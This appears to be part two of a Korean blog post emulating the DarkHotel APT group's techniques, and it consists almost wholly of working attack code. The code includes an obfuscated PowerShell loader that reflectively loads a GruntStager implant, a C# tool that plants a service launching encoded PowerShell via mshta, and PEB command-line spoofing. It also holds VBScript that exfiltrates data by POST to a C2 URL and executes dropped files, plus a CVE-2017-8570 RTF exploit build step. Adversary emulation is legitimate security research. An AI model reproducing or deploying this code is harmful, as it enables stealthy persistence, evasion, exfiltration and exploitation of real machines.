다크호텔 APT그룹 TTP 분석 - 파트 2

// s.ps1를 16진수 형태로 바꿔주자. 
$psSource = [system.io.file]::readalltext("C:\\dh\\s.ps1")
$psSource = $psSource.ToCharArray()

foreach ($element in $psSource) 
{ 
	$hexPayload = $hexPayload + " " + [System.String]::Format("{0:X2}", [System.Convert]::ToUInt32($element))
}

// 1. $a 에 들어가있는 긴 문자열 
$a = " < .NET 다운로더를 Base64 시킨 형태 >"

// 2. 알수 없는 "36n98" 문자열
('36n98J32I61I32X36b97;32D45>114J101b112&108&97I99>101n32n39J64;39J44D39b54J39>59I36I99W32b61;32J36X98W32&45D99>114;101W112W108&97;99&101;32b39W35>39I44X39W65>39&59I36b100;32b61b32;36b99;32n45b114D101;112W108I97X99n101I32n39n45W39n44n39I43>39D59W36I68X101J102D108I97D116b101;83;116;114b101&97>109n32b61&32>78;101J119I45>79W98>106>101J99b116W32;73W79b46I67&111;109X112X114;101>115X115b105&111n110n46D68b101W102&108X97n116W101X83I116n114>101>97n109;40J91>73W79>46;77>101X109>111D114W121n83>116;114X101I97W109W93X91J67I111;110W118W101X114n116W93X58&58D70I114>111;109b66J97n115n101n54D52>83;116W114>105I110J103b40&36n100&41W44>91>73&79;46n67&111b109b112W114I101D115n115;105b111b110n46>67W111J109X112&114I101b115D115X105W111;110J77>111&100;101b93>58W58D68J101;99b111;109>112b114X101X115n115I41J59n36n98D117b102I102I101W114>32;61I32n78J101W119n45I79b98b106J101J99n116W32;66X121b116b101I91n93>40D56W55b48;52D41D59W36X68>101X102>108I97>116n101;83;116;114&101I97&109I46>82&101I97b100J40n36D98n117I102>102J101X114J44W32&48&44D32n56W55D48;52&41n32;124b32&79X117>116b45I78>117D108>108X59J91n82n101I102&108I101W99b116b105I111D110W46&65>115D115>101b109W98b108n121J93b58&58W76X111;97>100I40&36I98J117;102X102b101;114D41D32D124J32n79>117b116J45J78n117J108&108&59W36&79>98D106W32D61n32W78n101&119b45J79&98W106D101X99>116D32I108W105X98b49J46D67&108b97I115I115&49n59W36X79&98;106&46D115D116b97X116D40W41'.spLIt( 'n&bDWXJ>I;') | % {([INt] $_ -aS[cHaR])} ) -jOiN''|&( ([stRinG]$verboSEPREFeRENce)[1,3]+'x'-JOin'')

--- 

# ^ 위 "36n98" 문자열을 실행하면 다음 파워쉘 코드가 나온다 

# $a 문자열 역난독화. 이는 최종적으로 $d에 저장. 
$b = $a -replace '@','6';$c = $b -creplace '#','A';$d = $c -replace '-','+';

# $a 문자열 base64 디코딩 + Decompress 한 뒤 $buffer에 저장 
$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($d),[IO.Compression.CompressionMode]::Decompress);
$buffer = New-Object Byte[](8704);$DeflateStream.Read($buffer, 0, 8704) | Out-Null;

# $buffer를 메모리에 로드한 뒤 DLL의 오브젝트 생성, stat() 함수 실행 
[Reflection.Assembly]::Load($buffer) | Out-Null;
$Obj = New-Object lib1.Class1;$Obj.stat()

# Source: https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-CompressedDll.ps1

# DLL 파일 읽은 뒤 "압축" (Compress)
$FileBytes = [system.io.file]::readallbytes("C:\\dh\\darkhotel-downloader.dll")
$Length = $FileBytes.Length
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($FileBytes, 0, $FileBytes.Length)
$DeflateStream.Dispose()
$CompressedFileBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()

# 압축된 스트림을 base64 인코딩 
$d = [Convert]::ToBase64String($CompressedFileBytes)

# 다크호텔식 역난독화를 의식해 거꾸로 난독화 실행  
$c = $d -replace [RegEx]::Escape('+'), '-'
$b = $c -creplace 'A','#'
$a = $b -replace '6','@'

# C:\\dh\\xSecondPart.txt 파일에 바뀐 파워쉘 코드 저장. 

$b = $a -replace '@','6';$c = $b -creplace '#','A';$d = $c -replace '-','+';$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($d),[IO.Compression.CompressionMode]::Decompress);$buffer = New-Object Byte[](11776);$DeflateStream.Read($buffer, 0, 11776) | Out-Null;[Reflection.Assembly]::Load($buffer) | Out-Null;$Obj = New-Object GruntStager.GruntStager;$Obj.Execute()


--- 

# 아래의 파워쉘을 실행시켜 난독화 실행 
$secondPart = [system.io.file]::readalltext("C:\\dh\\xSecondPart.txt")
$charArray = $secondPart.ToCharArray()
$result = ""

foreach ($char in $charArray){
	$result += [string][int]$char + $( @('n','&','b','D','W','X','J','>','I',';') | Get-Random)
}

< ... PInvoke 관련 코드, 생략 ... >

public static bool setRegistryKeyValue(string registryPath, string valName, object value, RegistryValueKind type)
{
   	< ... RegSetValueExW를 도와주는 함수. 생략 ... >
}

static void Main(string[] args)
{
    // 0. Check 360Tray, qqpctray, DSMain, etc. 
    Process[] processList = Process.GetProcesses();
    foreach (var process in processList)
    {
        if (process.ProcessName.ToLower().Contains("360tray.exe"))
        {
            // DH doesn't do much with it, so I'm not going to do much with it 
            Console.WriteLine("[!] 360Tray.exe found");
        }
        else if (process.ProcessName.ToLower().Contains("DSMain.exe"))
        {
            // DH doesn't do much with it, so I'm not going to do much with it 
            Console.WriteLine("[!] DSMain.exe found");
        }
    }


    // 1. Create "X" service in windows registry 
    SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
    int createKeyResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\X", IntPtr.Zero, string.Empty, RegOption.NonVolatile, RegSAM.AllAccess, ref sa, out IntPtr phkResult, out RegResult regResult);

    if (createKeyResult != 0)
    {
        Console.WriteLine("[-] RegCreateKeyEx failed {0}", Marshal.GetLastWin32Error());
        System.Environment.Exit(1);
    }
    Console.WriteLine("[+] Created RegCreateKeyEx \\X");

    // Typo in "Discription", but the original qq2688.exe also had that 
    string registryPath = "SYSTEM\\CurrentControlSet\\Services\\X";
    setRegistryKeyValue(registryPath, "Dscription", "LocalSystem", RegistryValueKind.String);
    setRegistryKeyValue(registryPath, "DisplayName", "LocalSystem", RegistryValueKind.String);
    setRegistryKeyValue(registryPath, "ObjectName", "LocalSystem", RegistryValueKind.String);
    setRegistryKeyValue(registryPath, "ErrorControl", 0, RegistryValueKind.DWord);
    setRegistryKeyValue(registryPath, "Start", 2, RegistryValueKind.DWord);
    setRegistryKeyValue(registryPath, "Type", 16, RegistryValueKind.DWord);

    string payload = @"mshta.exe vbscript:Execute(""Dim s, p:Set s=CreateObject(""""WScript.Shell""""):p=""""powershell -encodedcommand JABoAD0AKABnAHAAIABIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFgAIAAiAHMAIgApAC4AcwA7ACQAaAAuAFMAcABsAGkAdAAoACIAIAAiACkAfABmAG8AcgBFAGEAYwBoAHsAWwBjAGgAYQByAF0AKABbAGMAbwBuAHYAZQByAHQAXQA6ADoAdABvAGkAbgB0ADEANgAoACQAXwAsADEANgApACkAfQB8AGYAbwByAEUAYQBjAGgAewAkAHIAPQAkAHIAKwAkAF8AfQA7AGkAZQB4ACAAJAByADsA"""":s.Run p,0,true:close"")";
    setRegistryKeyValue(registryPath, "ImagePath", payload, RegistryValueKind.String);

    // 2. Create "s" value name 
    string sHexPayload = "24 53 6F 75 72 63 65 < ... 생략 ...>";
    setRegistryKeyValue(registryPath, "s", sHexPayload, RegistryValueKind.String);

    // 3. Create "x" value name 
    string xHexPayload = "24 53 6F 75 72 <... 생략 ...> ";
    setRegistryKeyValue(registryPath, "x", xHexPayload, RegistryValueKind.String);
}

public static void spoofCmdLine()
{
    // Open Process and get PEB 
    var hProc = OpenProcess(0x001F0FFF, true, Process.GetCurrentProcess().Id);

    PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
    uint temp = 0;
    ZwQueryInformationProcess(hProc, 0, ref bi, (uint)(IntPtr.Size * 6), ref temp);

    // Get pointer & address of rtluserparam by adding 0x10 
    IntPtr rtlUserParamPtr = (IntPtr)((Int64)bi.PebAddress + 0x10);
    Console.WriteLine("[+] RTL_USER_PROCESS_PARAM Address: 0x{0}", rtlUserParamPtr.ToInt64().ToString("x2"));

    byte[] rtlUserParamAddr = getValueFromPointer(hProc, rtlUserParamPtr, IntPtr.Size);
    Console.WriteLine("[+] RTL_USER_PROCESS_PARAM Value: {0}", ByteArrayToString(rtlUserParamAddr));

    // Get commandline, max length, buffer from RTL_USER_PROC_PARAM 
    byte[] cmdLineAddr = addMemory(rtlUserParamAddr, 0x40);
    byte[] bufferMaxLengthAddr = addMemory(rtlUserParamAddr, 0x42);
    byte[] bufferAddr = addMemory(rtlUserParamAddr, 0x44);
    int bufferMaxLength = (int)getValueFromAddr(hProc, bufferMaxLengthAddr, 1)[0];
    
    Console.WriteLine("[+] cmdLineAddr: {0}", ByteArrayToString(cmdLineAddr));
    Console.WriteLine("[+] bufferMaxLengthAddr: {0}", ByteArrayToString(bufferMaxLengthAddr));
    Console.WriteLine("[+] bufferAddr: {0}", ByteArrayToString(bufferAddr));

    // Print previous commandline buffer - should be something\\SharpQQ3104.exe 
    byte[] bufferValue = getValueFromAddr(hProc, bufferAddr, IntPtr.Size);
    IntPtr bufferPtr = new IntPtr(BitConverter.ToInt32(bufferValue, 0));
    byte[] bufferContent = new byte[bufferMaxLength];
    bufferContent = getValueFromPointer(hProc, bufferPtr, bufferContent.Length);
    
    Console.WriteLine("\n[+] Previous command line buffer: {0}", Encoding.ASCII.GetString(bufferContent));

    // Zero-out previous commandline buffer 
    byte[] zeroOut = new byte[bufferMaxLength];
    WriteProcessMemory(hProc, bufferPtr, zeroOut, zeroOut.Length, out IntPtr nWrite);

    // Overwrite new commandline string - C:\\windows\\explorer.exe 
    byte[] spoofPayload = Encoding.Unicode.GetBytes("c:\\Windows\\explorer.exe");
    WriteProcessMemory(hProc, bufferPtr, spoofPayload, spoofPayload.Length, out IntPtr nWrite2);

    // Validate the new commandline string 
    bufferContent = getValueFromPointer(hProc, bufferPtr, bufferMaxLength);
    Console.WriteLine("[+] Overwritten command line buffer: {0}", Encoding.ASCII.GetString(bufferContent));
}

PS C:\dev\SharpDarkHotel\SharpQQ3104\bin\Debug> .\SharpQQ3104.exe

[+] RTL_USER_PROCESS_PARAM Address: 0x511010
[+] RTL_USER_PROCESS_PARAM Value: 0x007E1B08
[+] cmdLineAddr: 0x007E1B48
[+] bufferMaxLengthAddr: 0x007E1B4A
[+] bufferAddr: 0x007E1B4C

[+] Previous command line buffer: "C:\dev\SharpDarkHotel\SharpQQ3104\bin\Debug\SharpQQ3104.exe"
[+] Overwritten command line buffer: c:\Windows\explorer.exe

Set xmlHttp = CreateObject("MSXML2.ServerXMLHTTP")

xmlHttp.Open "POST", "http://192.168.40.128/cta/key.php", False
xmlHttp.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xmlHttp.send "L=G641giQQOWUiXE&q=" + Base64Encode(strList)
Set xmlHttp = Nothing

Const qgkao = """"
Set wShell = CreateObject("WScript.Shell")
Set shellEnv = wShell.Environment("Process")
envTemp = shellEnv("TEMP")
envLocalAppData = shellEnv("LOCALAPPDATA")
envAppData = shellEnv("APPDATA")

StartupPath = envAppData & "\mIcrOsoft\winDows\starT meNu\progRams\startup\"
peerdistPath = envLocalAppData & "\PeerDistRepub\"
Set fxo = CreateObject("Scripting.FileSystemObject")
Set fso = CreateObject("Scripting.FileSystemObject")
Set aconf = GetObject("winmgmts:Win32_NetworkAdapterConfiguration")

If Not fxo.FolderExists(peerdistPath) Then
    fxo.CreateFolder peerdistPath
End If

If Not fxo.FileExists(peerdistPath & "msrvcd32.exe") Then
    RetVal = aconf.ReleaseDHCPLeaseAll
    
    fxo.CopyFile envTemp & "\p", peerdistPath & "SharpQQ3104.exe", True
    fxo.CopyFile envTemp & "\b", peerdistPath & "SharpQQ2688.exe", True
    
    Set f1 = fso.CreateTextFile(peerdistPath & "qq3104.exe:Zone.Identifier", True)
    f1.WriteLine "[ZoneTransfer]" & vbNewLine & "ZoneId=1"
    f1.Close
    
    Set f2 = fso.CreateTextFile(peerdistPath & "qq2688.exe:Zone.Identifier", True)
    f2.WriteLine "[ZoneTransfer]" & vbNewLine & "ZoneId=1"
    f2.Close

    intReturn = wShell.Run(peerdistPath & "qq3104.exe", 0, True)
    intReturn = wShell.Run("cmd /cipconfig /renew", 0, True)
    
End If
    
Set wShell = Nothing
Set aconf = Nothing

PS C:\dh\CVE-2017-8570> python2.exe .\packager_composite_moniker.py -s ..\googleofficechk.sct -o ../afchunk.rtf
[+] RTF file written to: ../afchunk.rtf

public static void altChunkEmbed(string fileName1, string fileName2, string type)
{
    string testFile = @"c:\dh\final-test.docx";
    File.Delete(fileName1);
    File.Copy(testFile, fileName1);

    using (WordprocessingDocument myDoc =
WordprocessingDocument.Open(fileName1, true))
    {
        Random rnd = new Random();
        string altChunkId = "AltChunkId" + rnd.Next(1, 1000).ToString();
        MainDocumentPart mainPart = myDoc.MainDocumentPart;

        AlternativeFormatImportPart chunk = null; 
        if (type.ToLower() == "docx")
        {
            chunk = mainPart.AddAlternativeFormatImportPart(AlternativeFormatImportPartType.WordprocessingML, altChunkId);
        }
        else if(type.ToLower() == "rtf")
        {
            chunk = mainPart.AddAlternativeFormatImportPart(AlternativeFormatImportPartType.Rtf, altChunkId);
        }
        else
        {
            Console.WriteLine("[-] Type needs to be either docx or rtf. Exiting.");
            Environment.Exit(1);
        }


        using (FileStream fileStream = File.Open(fileName2, FileMode.Open))
            chunk.FeedData(fileStream);
        AltChunk altChunk = new AltChunk();
        altChunk.Id = altChunkId;
        mainPart.Document
            .Body
            .InsertAfter(altChunk, mainPart.Document.Body
            .Elements<Paragraph>().Last());


        mainPart.Document.Save();
    }
}